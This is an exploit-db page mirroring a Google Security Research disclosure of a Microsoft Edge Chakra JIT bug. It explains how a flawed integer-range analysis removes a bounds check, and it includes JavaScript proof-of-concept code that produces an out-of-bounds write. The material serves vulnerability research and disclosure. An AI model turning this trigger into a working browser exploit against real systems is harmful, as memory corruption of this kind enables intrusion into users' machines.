Microsoft Edge Chakra JIT – Incorrect Bounds Calculation

  • 作者: Google Security Research
    日期: 2018-01-17
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/43710/
  • /*
    Let's start with comments in the "GlobOpt::TrackIntSpecializedAddSubConstant" method.
    // Track bounds for add or sub with a constant. For instance, consider (b = a + 2). The value of 'b' should track
    // that it is equal to (the value of 'a') + 2. That part has been done above. Similarly, the value of 'a' should
    // also track that it is equal to (the value of 'b') - 2.
    
    This means "j" will be guaranteed to be in the range of INT_MIN to 15(INT_MAX - 0x7ffffff0) at (a) in the following code. In detail, it uses "BailOutOnOverflow", which makes the JITed code bailout when an integer overflow occurs, to ensure the range.
    
    function opt(j) {
    let k = j + 0x7ffffff0;
    // (a)
    }
    
    
    But if integer overflows continuously occur in the JITed code or it's known that "k" doesn't fit in an int at compile time, Chakra considers "k" to be a float.
    
    For example, in the following code where "j" is always greater than 100, "k" is considered a float. So it doesn't use "BailOutOnOverflow" for the add operation.
    
    function opt(j) {
    if (j <= 100)
    return;
    
    let k = j + 0x7ffffff0;
    }
    
    
    Now, let's take a look at the PoC.
    
    function opt() {
    let j = 0;
    for (let i = 0; i < 2; i++) {
    // (a)
    j += 0x100000;
    // (b)
    let k = j + 0x7ffffff0; // (c)
    }
    }
    
    Note that all loops are analyzed twice in the JIT optimization process.
    
    Here's what happens in the analyses.
    
    In the first analysis:
    At (b), Chakra considers "j" to be in the range of INT_MIN to INT_MAX.
    At (c), INT_MAX + 0x7ffffff0 overflows but INT_MIN + 0x7ffffff0 doesn't, so it assumes "k" may fit in an int and that "BailOutOnOverflow" will be used to ensure "j" to be in the range of INT_MIN to 15.
    
    In the second analysis:
    At (a), Chakra considers "j" to be in the range of 0 to 15.
    At (b), Chakra considers "j" to be in the range of 0x100000 to 0x10000f.
    At (c), in both cases of 0x100000 + 0x7ffffff0 and 0x10000f + 0x7ffffff0, an integer overflow occurs. So "k" is considered a float.
    
    
    In the first analysis, it made two assumptions: "k" will be an int, and therefore "BailOutOnOverflow" will be used. But actually, both assumptions are wrong. "k" will be a float. And "BailOutOnOverflow" will never be used.
    
    However it's already guaranteed "j" to be in the range of INT_MIN to 15 at (a) based on the wrong assumptions. We can abuse this.
    
    PoC demonstrating OOB write:
    */
    function opt(arr) {
    if (arr.length <= 15)
    return;
    
    let j = 0;
    for (let i = 0; i < 2; i++) {
    arr[j] = 0x1234;// (a)
    j += 0x100000;
    j + 0x7ffffff0;
    }
    }
    
    function main() {
    for (let i = 0; i < 0x10000; i++) {
    opt(new Uint32Array(100));
    }
    }
    
    main();
    
    // At (a), Chakra considers "j" to be always in the range of INT_MIN to 15, the length of "arr" has been already guaranteed to be upper than 15, so it eliminates the bounds check.
    
    PowerShell